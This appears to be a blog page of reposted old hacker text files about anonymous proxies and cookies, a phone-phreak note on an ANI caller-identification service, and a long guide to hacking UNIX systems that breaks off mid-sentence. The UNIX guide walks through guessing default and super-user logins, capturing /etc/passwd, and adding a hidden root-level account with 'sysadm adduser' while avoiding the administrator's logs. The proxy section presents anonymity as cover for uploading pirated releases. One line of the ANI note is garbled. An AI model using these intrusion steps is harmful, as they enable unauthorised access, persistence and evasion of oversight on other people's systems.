All proxy servers, that hide a client?s IP address in any way are called anonymous proxies

Simple Anonymous Proxies

These proxy servers do not hide a fact that a proxy is used, however they replace your IP with its own:
REMOTE_ADDR = proxy IP
HTTP_VIA = proxy IP
HTTP_X_FORWARDED_FOR = proxy IP

These proxies are the most widespread among other anonymous proxy servers.

Distorting Proxies

As well as simple anonymous proxy servers these proxies do not hide the fact that a proxy server is used. However a client?s IP address (your IP address) is replaced with another (arbitrary, random) IP:

REMOTE_ADDR = proxy IP
HTTP_VIA = proxy IP
HTTP_X_FORWARDED_FOR = random IP address
High Anonymity Proxies

These proxy servers are also called "high anonymity proxy". In contrast to other types of anonymity proxy servers they hide a fact of using a proxy:

REMOTE_ADDR = proxy IP
HTTP_VIA = not determined
HTTP_X_FORWARDED_FOR = not determined

That means that values of variables are the same as if proxy is not used, with the exception of one very important thing ? proxy IP is used instead of your IP address.
Summary

Depending on purposes there are transparent and anonymity proxies. However, remember, using proxy servers you hide only your IP from a web-server, but other information (about browser configuration) is accessible!

Anonymity proxy

2008-02-03T04:50:00.000-08:00

Anonymity

Trick by infintytricks.blogspot.com

I can see you hiding in the shadows over there and so can the logs of all the web sites, FTP servers and other nooks and crannies you visit on the web. The sort of information gathered by these logs and which is available to the webmasters of the sites you visit include the address of the previous site you visited, your IP address, your computer's ID name, your physical location and the name of your ISP along with less personal details such as the operating system you're using and your screen resolution. If someone was snooping through your dustbin to gather information on consumer trends or tracking your every move to see where it is you go everyday you wouldn't be too chuffed would you. Well the web is no different, it's still an invasion of privacy and a threat to security and you don't have to put up with it.

Proxy servers:
Every time you visit a web site, detailed information about your system is automatically provided to the webmaster. This information can be used by hackers to exploit your computer or can be forwarded to the market research departments of consumer corporations who by tracking your activities on the internet are better equipped to direct more relevant spam at you. Your best defence against this is to use what is known as a proxy server, which will hide revealing information from the web sites you visit, allowing you to surf the web anonymously. These work by altering the way in which your browser retrieves web pages or connects to remote servers. With a proxy server set up, whenever you 'ask' IE or Netscape to look at a web page, the request is first sent through an external server which is completely independent of your ISP's servers. This third party server then does the requesting on your behalf so that it appears that the request came from them rather than you and your real IP address is never disclosed to the sites you visit. There is nothing to download and the whole process takes less than a minute.

There are two different ways to use proxy servers and both have their advantages and disadvantages. The first method is to use a web based service. What this involves is visiting the proxy's home page each time you want to browse a web site anonymously. The core component of such a system is the dialog box where you enter the address of the web site you want to visit. Each time you enter the URL of the site you want to browse via the proxy into this box, your personal information, IP address and so on is first encrypted before being sent to the site allowing you to maintain your anonymity. Two of the best examples of this type of web based proxy service are Code:
hxxp://www.rewebber.com/
and hxxp://www.anonymizer.com/.

Obviously one disadvantage of using a web based service like Rewebber or Anonymizer, however, is that you have to visit the proxies home page each time you want to surf anonymously. You could choose to select this page as your default home page, but it's still quite awkward if you're forever site hopping at the speed of light. The second main 'con' is that you often have to put up with extra adverts on the pages you visit. These are automatically inserted into the pages by the proxy - they have to pay for service somehow. More sophisticated and convenient solutions are also on offer yet they come with a price tag.

The second method you can use to protect your privacy via a proxy server involves adjusting the settings of your web browser so that you can surf anonymously without having to visit the home page of your proxy each time. To do this you will first need to know the name of your proxy server and the port number it uses. This information can be gleaned from either a public proxy server list or the FAQ referring to a private subscription based service. Once you have the name of the proxy server you wish to use, select 'Internet Options' from the 'Tools' menu of your browser. Now select 'Connections' followed by 'Settings' and tick the 'use a proxy server' check box. To finish the job all you have to do now is enter the name of the server in the 'address' box, the port which it uses in the 'port' box and go forth and surf anonymously.

Free, manual proxy servers as advertised on anonymity sites, if you can find one at all, are likely to be highly oversubscribed, and as a result the speed at which they retrieve web pages can deteriorate. In which case you can go in pursuit of a public proxy server list and select an alternative from it, which can then be set up manually. To locate such a list you can investigate sites such as Code:
hxxp://www.proxys4all.com/

however, this method isn't problem free either, so before you get too carried away and go jumping on the anonymity bandwagon there are a few things you should be aware of. It's very easy to use proxies to protect your privacy, but often the disadvantages of using them far out weigh the benefits. You see, the problem is that, like the proxy servers provided Rewebber et al, free, public proxies are nearly all over subscribed and so they can slow down web browsing considerably. Digging out fast reliable proxy servers is an art form in itself and is a skill which takes considerable practice. You could find a list of public proxy servers and then experiment with each one until you find one that runs at a reasonable speed, but this can be very time consuming and frustrating. Instead, your search would be much more efficient if you got a dedicated program to carry out this task for you. There are literally dozens of proxy seeking programs around which can do just that, and many of them are available as freeware. What these do is scan the internet for public proxy servers. These servers are then tested for speed and anonymity (not all of them are truly anonymous, even if they claim to be!) and once you find one which suits your requirements you can select it as your default proxy with the click of a button.

One of the most significant advantages of using an automated tool to locate proxy servers is that you do not have to keep editing your proxy settings manually each time you wish to try out a new one. Instead, what you do is enter 'localhost' or '127.0.0.1' into the 'address' box and '8088' into the 'port' box of your browser's proxy settings menu and then forget about it. All future proxy switching is then orchestrated from within your proxy seeking software, which subsequently relays the information to your browser or whatever type of application you are attempting to make anonymous. For those of you who are curious 'localhost' and the IP address '127.0.0.1' are the names by which every computer on the internet refers to itself.
Here's a good selection of links, which should help you to get started - Code:
hxxp://www.a4proxy.com/ Anonymity 4 Proxy
hxxp://www.helgasoft.com/hiproxy/ Hi Proxy
hxxp://www.proxy-verifier.com/ Proxy Verifier
hxxp://www.photono-software.de/ Stealther.

You may find that even when using these programs you have difficulty finding good proxy servers. It is for this reason that many people choose only to use proxy servers temporarily whilst doing something which may land them in trouble with their ISP, or in a worst case scenario with the law. The most obvious example of a situation in which you would want to cover your tracks is when scanning for public FTP servers and subsequently uploading to them. Most other net activities are unlikely to incur serious consequences so under these circumstances you can safely surf the web without a proxy. If you're really serious about protecting your privacy, however, your best bet is probably to invest in a dedicated, stable proxy such as the ones offered by Code:
hxxp://www.ultimate-anonymity.com/ Ultimate Anonymity

These aren't free, but may be worth the expense if you aren't keen on continuously switching proxy servers.

Before splashing out though it may be worth checking if your current ISP has a proxy server of its own which you can use. These aren't there to help you to commit cyber crimes and get away with it, they actually have a legitimate purpose as well - otherwise they wouldn't exist. You see, proxy servers were originally designed to help speed up web page loading times. Proxy servers contain a cache of all the web pages which have been requested via the browsers of the people using the proxy. When someone surfs the web using a proxy, the proxy first checks to see if it already has a copy of the web page stored in its cache. If this version of the page is bang up to date, it is sent to your computer and appears in your browser. If the page found in the cache of the proxy server is older than the one stored on the server hosting the page, a new request to the web server is made and the page is updated in the cache of the proxy before being sent to you. Because these servers use very fast internet connections they can retrieve web pages at much greater speeds than you can via your modest home setup. If these servers are located physically nearer to your home than the web host servers you wish to retrieve web pages from, the speed at which you browse the web will be accelerated.

Anonymity - Cookies
One last important point you need to be aware of before jumping in with both feet is that different programs have to be setup in different ways before being able to make external connections via a proxy server. For example, you can surf the web anonymously by modifying the settings in Internet Explorer or Netscape Navigator as explained earlier in this tutorial, but this will only affect your browser. If you then used Flash FXP to copy a batch of 0-day releases from one FTP server to another, this isn't going to protect you in the slightest. What you have to do is enter the name of the proxy server into each application you wish to make anonymous before making any external connections. This can usually be done by browsing through the preferences of your program to see if there is a 'use proxy server' option available. If there is, make sure you use it!

Cookies:
You have little to fear from the edible variety, but the digital ones can be a major threat to your security and privacy. A cookie is a tiny text file (usually less than 1kb in size), which is created and stored on your hard drive whenever you visit a dynamic (or an interactive if you like) web site. These are used to log your personal details so that you can access members only areas of web sites without having to type in a password every time, or to retain your customised settings so that they are available the next time you visit. If you're using a shared computer, anyone who visits the same site that you have previously logged in to can access your accounts. This is particularly worrying if you have entered your credit card details into a form on an e-commerce site. If your browser is set to automatically fill in these details whenever you
return to a previously visited site, this information could be clearly visible - you don't need me to explain the problems this could entail.

The solution to this problem is to delete any cookies which contain sensitive data once you have completed your transactions. Your cookies will be stored in a different place depending on which operating system you are using so you will have to use your detective skills to find them. As an example, in Windows XP they are located in your 'c:\Documents and Settings\Kylie Minogue\Cookies' directory (that is if your name is Kylie Minogue. Mine isn't in case you're wondering!). If you look in this directory, in some cases it is easy to identify which cookie is associated with which web site, but in other cases it's not so obvious. The cookie which was created when you visited Yahoo.com to check your email may be called kylie minogue@yahoo.txt for example. Unfortunately some cookies refer to the IP address of the site you visited and so look more like kylie minogue@145.147.25.21. These cookies can be selectively deleted one at a time if it's obvious which ones are causing a threat to your security, or you can just wipe out the whole lot in one fell swoop and have them recreated as and when they are required. However, if
you're really struggling to find your cookie jar, you could delete your cookies via your browser's tool bar instead. In Internet Explorer this can be done through the 'Tools' > 'Internet Options' menu items.

If all this sounds like too much hassle, you can always find a labour saving program which will be happy to take the job off your hands. These 'cookie crunching' programs allow you to be more selective when editing, viewing and deleting cookies from your system, and some of them will even prevent cookies from being created in the first place. Yes, I know you're hungry for links so I won't deprive you. Have a look here - Code:
hxxp://www.rbaworld.com/Programs/CookieCruncher/ Cookie
Cruncher
hxxp://www.thelimitsoft.com/ Cookie Crusher
hxxp://www.angove.com/ Cookie Killer
hxxp://www.kburra.com/ Cookie Pal
and
hxxp://www.cookiecentral.com/ Cookie Web Kit.

An Introduction into TeleScan

2008-02-03T04:46:00.000-08:00

INTRODUCTION

Trick by infintytricks.blogspot.com

Whats all the hoopla? Well I've been trying to find a good ANI demo ever
since IIRG's went down at the first of the year [800-852-9932]. Well I
finally got one from The Mortician. Here it is...
8 0 0 . 7 7 5 . 5 5 1 3
This is an ANI demo provided by a security company called TEL-SCAN(tm). Now
ANI is cool and useful and everything, but it isn't hardly worthy of one of
my wonderful headers. But see, theres more at stake here. Call the demo and
get the ANI info and all that, and if you're a lamer stop there. But if
you're kK00l enough, stay on the line and find out more about TEL-SCAN(tm),
the company providing the demo.
THE TEL-SCAN(tm) NETWORK
TEL-SCAN(tm) is a Colorado based Security service that offers an improvised
skip-tracing method to Private Investigators, (or anyone with money and a
good MO). How it works is this: subscribers are provided with an 800
"Identifier Line" which when called automatically identifies the incoming
number and records it into a corresponding Voice Mail Box. The subscriber can
then call the Mail Box and it will relay to him all incoming calls to the
"Identifier Line". 2-o0 pH_ukYn " /<" eW/! The possibilities with ANI and VMBs at
hand are endless!!!
TEL-SCAN(tm) can be used as such: Get a bunch of business cards printed with
the "Identifier Line" printed as your phone number. If you're looking for
someone, leave your card around places where they're likely to get it. When
they call, you've got the number they're calling from and possibly an
important lead. Viola! Skip-Tracing improvised. No this of course is
constitutes intended use. As far as underground use goes...well...you know.
TEL-SCAN(tm) GEOGRAPHICALS
For more information on TEL-SCAN(tm) write or call::
TEL-SCAN(tm)
2641 North Taft
Loveland, CO 80538
Number: 303.663.1703
FAX: 303.663.1708
By the way when you call, you will be asked where you heard about TEL-
SCAN(tm). DO NOT say you heard it from me (duh)! Have a good one ready
because they will hang up on you if they think something is funny.
TEL-SCAN(tm) PRICES
This service has a one time activation fee of $67.00 dollars. Thereafter you
are charged $5.00 dollars everytime the service identifies a number for you.
You are billed monthly if applicable, but there are no mandatory monthly
fees. Now here's the good part: you can subscribe to the service via FAXed
licensing agreement at which time you will IMMEDIATLEY be issued a Mail Box
and a "Line Identifier". They will bill you later for the activation fee. Not
to shabby huh?
OUTRODUCTION
Well thats it, and thanks again to The Mortician at Lies, Hate, and Deception
(LHD·) for this one. Look for other oB files (with great headers) labeled as
xxxxxxxx.oB. These files can be found at...

An Indepth Guide in Hacking UNIX and the concept of Basic Net

2008-02-03T04:39:00.000-08:00

Brief history on UNIX
----------------------

Trick by infintytricks.blogspot.com

Its because of Ken Tompson that today were able to Hack Unix.He used to work
for Bell Labs in the 60s.Tompson started out using the MULTICS OS which was
later eliminated and Tompson was left without an operating system to work with.
Tompson had to come up with something real quick.He did some research and
and in 1969 UNIX came out,which was a single user and it didn't have
many capabilities.A combined effort with others he rewrote the version
in C and added some good features.This version was out in 1973 and was
available to the public.This was the first begining of UNIX as its known
presently.The more refined version of UNIX,today know as UNIX system V
developed by Berkley University has unique capabilities.
Various types of UNIXes are CPIX,Berkeley Ver 4.1,Berkeley 4.2,FOS,Genix,HP-UX,
IS/I,OSx,PC-IX,PERPOS,Sys3,Ultrix,Zeus,Xenix,UNITY,VENIX,UTS,Unisys,Uniplus+,
UNOS,Idris,QNIX,Coherent,Cromix,System III,System 7,Sixth edition.

The article it self:
--------------------
I believe that hacking into any system requires knowledge of the Operating
system itself.Basically what I will try to do is make you more familiar with
UNIX operation ,its usefull commands that will be advantageous to you as a
hacker.This article contains in depth explainations.

Error Messages that one may came across:[UNIX system V]
----------------------------------------
Login incorrect - An ivalid ID and/or pw was entered.This means nothing.
In UNIX there is no way guessing valid user IDs.You may
come across this one when trying to get in.
No more logins - will happens when the system wont accept anymore logins
could be going down
Unknown Id - will happen if an ivalid id is entered using (su) command
Unexpected eof in file - The file being stripped file has been damaged
Your password has expired - This is quiet rare although there have been cases
where it happened.Reading the etc/passwd will
show you at how many intervals it changes.
You may not change the password - The password has not yet aged enough.The
Administrator set the quotas for the users
Unknown group [groups name] - occurs when chgrp is executed ,group doesn't
exist
Sorry - Indicated that you have typed in an invalid super user password(execu-
tion of the su)
Permission denied!- Indicated you must be the owner or a super user to change
password.
Sorry <[# of weeks] since last change - This will happen when password has has not aged enough and you tried to change it(passwd) [directory name]:no permission - You are trying to remove a directory which you have no permission to. [file name] not removed - trying to delete a file owned by another user that you dont have write pemision for. [dirname] not removed - ownership of the dir is not your that your trying to delete. [dirname] not empty - the directory contains files so you must have to delete the files before executing the rmdir [command] not found - you have entered an ivalid command not know to UNIX cant execute pwd - some thing wrong with the system cant execute pwd command cannot chdir to .. - (.. one level up) permision is required to execute pwd above the current directory cant open [file name] - defined wrong path,file name or you have no read permission cp:[file name] and [file name] are identical - self explanatory cannot locate parent directory - occurs when using mv [file name] not found - file which your trying to move doesn't exsist You have mail - Self explanatory Basic Networking Utility error messages --------------------------------------- cu:not found - networking not installed login failed - invalid id/pw or wrong # specified dial failed - the systen never answered due to a wrong # uucp completely failed - did not specify file after -s wrong time to call - you called at the time at a time not specified in the Systems file system not in systems - you called a remote not in the systems file Logon format : first thing one must do is switch to lower case -------------- Identifing a UNIX.Here is what you'll see: Some times there will be no system identifer AT&T UNIX SysVR3.0 (eg of a system identifier) login: or Login: Any of these is a UNIX.Here is where you will have to guess at a user valid id.Here are some that I have come across eg( glr,glt,radgo,rml,chester,cat, lom,cora,hlto,hwill,edcasey and also some containing numbers smith1,mitu6 or special characters in it like bremer$,j#fox.Login names have to be 3 to 8 chracters in lenght lowercase and must start with a letter.In some XENIX systems one may login as "guest" User level accounts:(lower case) -------------------- In Unix they have whats called accounts .These accounts can be used at the "login:" prompt. Here is a list: sys bin trouble daemon uucp nuucp rje lp adm listen - if starlan is installed Super-user accounts: -------------------- And then there are super-user login which make UNIX worth hacking. The accounts are used for a specific job. In large systems these logins are assingned to users who have a responsibilty to maintain subsystems. They are as follows :(all lower case) root - this is a must the system comes configured with it.It has no restriction.Has power over every other account. unmountsys - unmounts files setup - system set up makefsys - makes a new file sysadm - allows useful S.A commands(doesn't need root login) powerdown - powering system down mountfsys - mounts files checkfsys - checks file These accounts will definitly have passwords assigned to them.These accounts are also commands used by the system administrator. Here are some examples of accounts I have seen: cron uuhelp usenet anonuccp news network bellboy lp vector guest games ninja vote warble sysinfo After the login prompt you will receive a password prompt: password: or Password: Enter the password (it wont echo).The password rule is as follows:Each pw has to contain at least 6 characters and maximum has to be 8 .Two of which are to be alphabetic letters and at least one being a number or a special character The alphabetic digits could be in upper case or lower case.Here are some of the passwords that I have seen (eg.Ansuya1,PLAT00N6,uFo/78,ShAsHi..,Div417co) The passwords for the super user accounts will be difficult to hack try the accounts interchangebly eg.login:sysadm password:makefsys or rje1, sysop,sysop1,bin4 or they might contain letter,numbers,special chracters in them.It could be anything.The user passwords are changed by an aging proccess at successive intervals.The users are forced to changed it.The super-user will pick a password that wont need changing for a long period of time. You have made it! ----------------- The hard part is over and hopefully you have hacked a super-user account. Remember Control-d stops a process and also logs you off. The next thing you'll probably see is the system news eg. login:john password:hacker1 System news There will be no networking offered to the users till august 15,due to hardware problems. (just an example) $ $ is the Unix prompt -waiting for a command to be entered.I will use this throught the article to show outouts etc..(Its not part of the command) # - means your logged in as root(very good) A word about the XENIX System III:(run on the tandy 6000) --------------------------------- The largest weakness in the XENIX System III occurs after the installation of the Profile-16 or more commonly know as the filepro-16.I have seen the filepro-16 installed in many systems. The installation process creates an entry in the password file for a user named \fBprofile\fR ,an account that who owns and administors the database. The great thing about it is that when the account is created ,no password is assigned to it.The database contains executable to maintain it.The database creation programs perform a \fBsetuid\fR to boot up the \fBoot\fR there by giving a person the whole C Shell to gain Super User privilege same as root. Intresting huh! * Note: First the article will inform you of how the Unix is made up The Unix is made if three components-The shell,the kernal,file system. The kernal: ----------- You could say that the kernal is the heart of the Unix operating system. The kernal is a low level language lower than the shell which maintains processes .The kernal handles memory usage ,maintains file system the sofware and hardware devices. The shell: ---------- The shell a higher level language. The shell had two important uses, to act as command interpreture for example using commands like cat,who, ls the the shell is at work figuring out whether you have entered a command correctly or not.The second most important reason for the shell is its ability to be used as programing language.Suppose your performing some tasks repeatedly over and over again,You can program the shell to do this for you. The file system: --------------- The file system in Unix is divede into 3 catagories:Directories,ordinary files and special files.(d,-) Basic stucture: (/)-this is abreviation for the root dirctory. root level root (/) system -------------------------------------|----------------------------------level | | | | | | | | /unix /etc /dev /tmp /lib /usr /usr2 /bin | _____|_____ login passwd | | | level /john /cathy ________________________|_______________ | | | | | | .profile /mail /pers /games /bin /michelle *.profile - in case | __|______ | __|_______ you wich to change your enviroment capital | | data | | but after you log off.It sets to othello starwars letter letter1 default. the /unix-is the kernal /etc - contains system administrators files,Most are not available to the regular user.(this directory contains the /passwd file) Here are some files under /etc directory: /etc/passwd /etc/utmp /etc/adm/sulog /etc/motd /etc/group /etc/conf /etc/profile /dev - contains files for physical devices such as printer and the disk drives /tmp - temporary file directory /lib - dirctory that contains programs for high level languages /usr - this directory contains dirctories for each user on the system Eg. of a list of files under /usr /usr/tmp /usr/lib /usr/docs /usr/news /usr/spool /usr/spool/lp /usr/lib/uucp /bin - contain executable programs (commands) The root also contains: /bck - used to mount a back up file system. /install - Used to install and remove utilities /lost+found - This is where all the removed files go,This dir is used by fsck (1M) /save -A utility used to save data /mnt - Used for temporary mounting **Now the fun part scouting around** Local commands (Explained in details) ------------------------------------- At the unix prompt type the pwd command-it will show you the current working directory you are in. $ pwd $ /usr/admin - assuming that you have hacked into a super user acc checkfsys $ This gives you the full login directory.The / before tell you the location of the root directory or (REFER TO THE DIAGRAM ABOVE) $ pwd $ /usr/john $ Assuming you have hacked into johns acc. Now lets say you wanted to move down to the michelle directory( you own this) that contains letters.You would type in $ cd michelle or cd usr/john/michelle $ pwd $ /usr/john/michelle $ Going back one directory up type in: $ cd .. or going to your parent directory just type in "cd" Listing file directories assuming you are in the parent directory: $ ls /usr/john mail pers games bin michelle This wont give you the .profile file .To view it type $ cd $ ls -a : : .profile To list file names in michelles directory type in: $ ls michelle (that if your in the johns directory) $ ls /usr/john/michelle(parent dir) ls -l ----- The ls -l is an an important command in unix.This command displays the whole directory in long format :Run this in parent directory $ ls -l total 60 -rwxr-x--- 5 john bluebox 10 april 9 7:04 mail drwx------ 7 john bluebox 30 april 2 4:09 pers : : : : : : : : : : : : : : -rwxr-x--- 6 cathy bluebox 13 april 1 13:00 partys : : : : : : : $ The total 60 tells one the ammount of disk space used in a directory.The -rwxr-x--- is read in triples of 3.The first chracter eg(-,d,b,c)-means as follows: - is an ordinary file ,d is a directory,b is block file,c is a chracter file. The r stands for read permission,w is write permission,x is execute.The first colum is read in 3 triples as stated above.The first group of 3 (in -rwxr-x---) after the "-" specifies the permission for the owner of the file,the second triple are for the groups (the fourth colum) and the last triple are the permissions for all other users.Therefore the -rwxr-x--- is read as follows. The owner john has permission to read,write and execute anything in the bin directory but the group has no write permission to it and the rest of the users have no permission at all.The format of one of the lines in the above output is as follows: file type-permissions,links,usersname,group,bytes taken,date,time when last renued,directory or file name. **You will be able to read,execute cathys file named party due to the same group*** chmod ----- The chmod command changes permission of a directory or a file.Format is chmod who+,-,=r,w,x The who is substituted by u-user,g-group,o-other users,a-all. The + means add permission,- means remove permission,= - assign. Example :If you wanted all other users to read the file name mail ,type: $ chmod o+r mail cat --- Now suppose you wanted to read the file letter .There are teo ways to doing this.First go to the michelle directory then type in: $ cat letter line one ...\ line two ... }the output of letter line three../ $ or If you are in the parent directory type in: $ cat /usr/john/michelle/letter and you will have the same output. Some cat options are -s,-u,-v,-e,-t Special Chracters in Unix: ------------------------- * - matches any number of single characters eg. ls john* will list all files that begin with john [...] - matchs any one of the chracter in the [ ] ? - matches any single chracter runs a process in the backgroung leaving your terminal free $ - Values used for variables also $n - null argument > - redirectes output
< - redirects input to come from a file >> - redirects command to be added to the end of a file
| - pipe output (eg:who|wc-l tells us how many users are online)
"..." - Turn of meaning of special chracters excluding $,`
`...` - allows command output in to be used in a command line
'...' - turns of special meaning of all chracters

continuation of local commands...[ ] -contains the options used
-------------------------------
passwd
------
Password changing seems to be a big thing among the savants.Anyway to change
the password one would use the 'passwd' command as shown below:

$passwd
Changing password for john
Old password:
New password:
Retype new password:
$

This will only work when the password has aged enough

ps
--
Its sometimes necessary to see what command procesess you are running,this
command lets you see that.
ps [-a all processes except group leaders] [-e all processes] [-f the whole
list]

$ps
PID TTY TIME COMMAND
200 tty09 14:20 ps

The systems reports (PID - process idenetification number which is a #
from 1-30,000 assigned to UNIX processes)
It also reports the TTY,TIME and the COMMAND being executed at the time.
To stop a process enter :

$kill [PID] (this case its 200)
200 terminated
$

grep
----
This comand is important when seaching for a word or words in large files.

grep [argument] [file name] - searchs for an file that contains the argument
for example:
$ grep phone cathy
phone michelle (718)5551234
phone cindy (718)5553456

What this did was to find the argument 'phone' in the file cathy.If the
argument consists of two or more words then it must be enclosed in single
quotes.

mv
--
mv [file names(s)] [ dir name ] - renames a file or moves it to another
directory eg.
$mv letter letters
$
This renames the file letter to letters thereby deleting letter
or if you want to move files then
$mv /usr/john/pers/capital /usr/john/michelle/capital
$
This moves the file capital to the directory named michelle

diff
----
diff [file name] [ file name] - show diffrence between two files.Output of this
will have something like 4,5c4,5 then the it
will display both sets of files on the screen
The 4,5c4,5 means that you must change "c"
lines 4 to 5 in one file to line 4 to 5 in
another.
Option for using this command are :
-b - it ignores blank spaces
-h - compares it quickly
-s - reports files that are the same
-S[file] - this is when you want to compare a directory starting at a
specific file

There is also a command to compare 3 files which is :

diff3 [options] [file1] [file2] [file3]

cp
--
cp [file name] [file name] - makes a copy of a file

$ cp letter letters
$
The file letters is a dupilcate copy of letter.In this case the original
is not erased like in the mv command

.... more UNIX commands:
--------------------

man [command] or [c/r] -will give you a list of commands explainations

help - available on some UNIX systems

mkdir [dir name(s)] - makes a directory

rmdir [dir name(s)] - removes directory.You wont be able to remove the
directory if it contains files in them

rm [file name(s)] - removes files. rm * will erase all files in the current
dir.Be carefull you!!.Some options are :
[-f unconditional removal] [-i Prompts user for y or n]

write [login name ] - to write to other logged in users.Sort of a chat

mesg [-n] [-y] - doesn't allow others to send you messages using the write
command.Wall used by system adm overrides it.

$ [file name] - to execute any file

wc [file name] - Counts words,chracters,lines in a file

stty [modes] - Set terminal I/O for the current devices

sort [filename] - Sorts and merges files many options

spell [file name] > [file name] - The second file is where the misspelt words
are entered

date [+%m%d%y*] [+%H%%M%S] - Displays date acoording to options

at [-r] [-l] [job] - Does a specified job at a specified time.The -r Removes
all previously scheduled jobs.The -l reports the job #
and status of all jobs scheduled

write [login] [tty] - Sends message to the login name.Chat!

su [login name]
---------------
The su command allows one to switch user to a super user to a user.Very
important could be used to switch to super user accounts.
Usage:

$ su sysadm
password:

This su command will be monitored in /usr/adm/sulog and this file of all files
is carefully monitered by the system administrator.Suppose you hacked in johns
account and then switched to the sysadm account (ABOVE) your /usr/adm/sulog
entry would look like:

SU 04/19/88 21:00 + tty 12 john-sysadm

Therfore the S.A(system administrator) would know that john swithed to sysadm
account on 4/19/88 at 21:00 hours

Searching for valid login names:
-------------------------------
Type in-
$ who ( command informs the user of other users on the system)
cathy tty1 april 19 2:30
john tty2 april 19 2:19
dipal tty3 april 19 2:31
:
:
tty is the users terminal,date,time each logged on.dipal,john are valid
logins.

Files worth concatenating(cat)
/etc/passwd file:
-----------------
The etc/passwd is a vital file to cat.For it contains login names of all
users including super user accounts and there passwords.In the newer
SVR3 releases they are tighting their security by moving the encrypted
passwords from /etc/passwd to /etc/shadow making it only readable by root.
This is optional offcourse.

$ cat /etc/passwd
root:D943/sys34:0:1:0000:/:
sysadm:k54doPerate:0:0:administration:usr/admin:/bin/rsh
checkfsys:Locked;:0:0:check file system:/usr/admin:/bin/rsh
:
other super user accs.
:
john:chips11:34:3:john scezerend:/usr/john:
:
other users
:
$
If you have reached this far capture this file as soon as posible.
This is a typical output etc/passwd file.The entries are seperated
by a ":".There made be up to 7 fields in each line.
Eg.sysadm account.
The first is the login name in this case sysadm.The second field contains the
password.The third field contains the user id."0 is the root".Then comes the
group id then the account which contains the user full name etc .The sixth
field is the login directory defines the full path name of the the particlar
account and the last is the program to be executed.
Now one can switch to other super user account using su command descibed above.
The password entry in the field of the checkfsys account in the above example
is "Locked;". This doesn't mean thats its a password but the account
checkfsys cannot be accessed remotely.The ";" acts as an unused encryption
chracter.A space is also used for the same purpose.You will find this in many
UNIX systems that are small systems where the system administrator handles
all maintaince.

Password aging:
---------------
If password aging is active the user is forced to change the password at
regular intervals.One may be able to tell just by looking at the /etc/passwd
file when the password is allowed to be changed and when it is compulsory to
change it.
For example the entry:

john:chips11,43:34:3:John Scezerend:/usr/john:

The password contains an extension of (,43) which mean that john can change has
to change the password atleast evert 6 weeks and can keep it for atleast 3
week.The format used is [password],Mmww.The M is the maxiumum number of weeks
password has to be change and m is the minimum interval password can be changed
and the ww is indicates when the password was last changed.

Aging chart:
---------|-----------
Character|# of weeks
. | 0
/ | 1
0-9 | 2-11
A-Z | 12-37
a-z | 38-63
---------|-----------

From the above anyone can determine the number of weeks one can chnage the
password.

The (ww) is automatically added as to when the password was last changed .

IF SHAWDOWING IS ACTIVE:
------------------------

If the shawdowing is active the /etc/passwd would look like this:

root:x:0:1:0000:/:
sysadm:x:0:0:administration:/usr/admin:/bin/rsh

The password filed is substituted by "x".

The /etc/shawdow file only readable by root will look similar to
this:

root:D943/sys34:5288::
:
super user accounts
:
Cathy:masai1:5055:7:120
:
all other users
:

The first field contains users id:the second contains the password(The pw will
be NONE if logining in remotely is deactivated):the third contains a code of
when the password was last changed:the fourth and the fifth contains the
minimum and the maximum numbers of days for pw changes(Its rare that you will
find this in the super user logins due to there hard to guess passwords)

/etc/options directory
-----------------------
The etc/options dir will consists of utilities available in the system.
Example:
-rwxr-xr-x 1 root sys 40 april 1:00 uucp.name
uucp standing for BNU

/etc/group
-----------
The file has each group on the system.Each line will have 4 entries separated
by a ":" . Example of concatenated /etc/group:

root::0:root
adm::2:adm,root
bluebox::70:

Group name:password:group id:login names
** It very unlikely that groups will have passwords assigned to them **
The id "0" is assigned to /

Sending and recieving messages:
-------------------------------
Two programs are used to manage this.They are mail & mailx.The difference
between them is that mailx is more fancier thereby giving you many choices
like replying message ,using editors etc.
Sending:
--------
The basic format for using this command is:

$mail [login(s)]
(now one would enter the text
after finishing enter "." a period
on the next blank line)
$
This command is also used to send mail to remote systems.Suppose you wanted
to send mail to john on a remote called ATT01
you would type in:

$mail ATT01!john

Mail can be sent to several users,just by entering more login name after
issuing the mail command

Using mailx is the same format:(This I'll describe very briefly)
$mailx john
subject:(this lets you enter the subject)
(line #1)
(line #2)
(After you finish enter (~.) not the brackets offcourse ,more commands are
available like ~p,~r,~v,~m,~h,~b etc.)

Receiving:
----------
After you log on to the system you will the account may have mail waiting.
You will be notified "you have mail".
To read this enter:
$mail
(line #1)
(line #2)
(line #3)
?
$
After the message you will be prompted with a question mark.Here you have a
choice to delete it by entering d,saving it to view it later s,or just press
enter to view the next message.
(DONT BE A SAVANT AND DELETE THE POOR GUYS MAIL)

Super user commands:
--------------------
$sysadm adduser - will take you through a routine to add a user
(may not last long)

Enter this:

$ sysadm adduser
password:
(this is what you will see)
/--------------------------------------------------------------------------\
Process running succommmand `adduser`
USER MANAGMENT

Anytime you want to quit, type "q".
If you are not sure how to answer any prompt, type "?" for help

If a default appears in the question,press for the default.

Enter users full name [?,q]: (enter the name you want)
Enter users login ID [?,q]:(the id you want to use)
Enter users ID number (default 50000) [?,q) [?,q]:( press return )
Enter group ID number or group name:(any name from /etc/group)
Enter users login home directory:(enter /usr/name)

This is the information for the new login:
Users name: (name)
login ID:(id)
users ID:50000
group ID or name:
home directory:/usr/name
Do you want to install,edit,skip [i,e,s,q]? (enter your choice if "i" then)
Login installed
Do you want to give the user a password?[y,n] (its better to enter one)
New password:
Re-enter password:

Do you want to add another login?
\----------------------------------------------------------------------------/

This is the proccess to add a user.Since you hacked into a super user account
you can make a super user account by doing the following by entering 0 as an
user and a group ID and enter the home directory as /usr/admin.This will give
you as much access as the account sysadm
**Caution** - Do not use login names like Hacker,Cracker,Phreak etc .This is
a total give away.
The process of adding a user wont last very long the S.A will know when he
checks out the /etc/passwd file

$sysadm moduser - This utility allows one to modify users.DO NOT ABUSE!!!
Password:

This is what you'll see:

/----------------------------------------------------------------------------\
MODIFYING USER'S LOGIN

1)chgloginid (This is to change the login ID)
2)chgpassword (Changing password)
3)chgshell (Changing directory DEFAULT = /bin/sh)

ENTER A NUMBER,NAME,INITIAL PART OF OF NAME,OR ? OR ? FOR HELP,
Q TO QUIT ?
\----------------------------------------------------------------------------/

Try every one of them out.Do not change someones password.It creates a havoc.
If you do decide to change it.Please write the original one down somewhere
and change back.Try not to leave to many traces after you had your fun.
In choice number 1 you will be asked for the login and then the new one.
In choice number 2 you will asked for the login and then supplied by it correct
password and enter a new one.
In choice 3 this is used to a pchange the login shell ** Use full **
The above utilites can be used separatly for eg( To change a password one
